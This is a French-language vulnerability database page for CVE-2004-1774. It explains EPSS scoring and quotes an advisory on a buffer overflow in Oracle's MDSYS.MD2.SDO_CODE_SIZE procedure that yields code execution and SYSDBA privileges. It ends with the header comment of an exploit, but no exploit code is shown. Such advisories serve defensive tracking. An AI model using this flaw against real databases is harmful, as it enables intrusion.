CVE-2004-1774 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/13145/info Oracle Database is reported prone to a buffer overflow vulnerability. Reportedly this issue affects the 'MDSYS.MD2.SDO_CODE_SIZE' procedure. An attacker can supply excessive data to an affected routine resulting in overflowing a destination buffer. This issue can be leveraged to execute arbitrary code and gain 'SYSDBA' privileges. It is conjectured that authentication is required to carry out an attack. This BID will be updated when more information is available. /* Advanced SQL Injection in Oracle databases Exploit for the buffer overflow vulnerability in procedure MDSYS.MD2.SDO_CODE_SIZE of Oracle Database Server version 10.1.0.2 under Windows 2000 Server SP4.
